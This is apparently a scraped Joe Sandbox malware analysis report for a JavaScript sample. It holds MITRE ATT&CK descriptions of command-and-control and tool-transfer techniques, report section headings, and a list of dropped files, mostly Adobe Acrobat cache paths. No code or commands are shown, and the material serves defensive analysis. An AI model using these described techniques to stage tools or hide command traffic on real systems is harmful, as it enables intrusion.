Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 229242754773566299.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5ad33fd6-2eef-4b1e-ac99-5147cad16be7.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3252

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3252

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
229242754773566299.js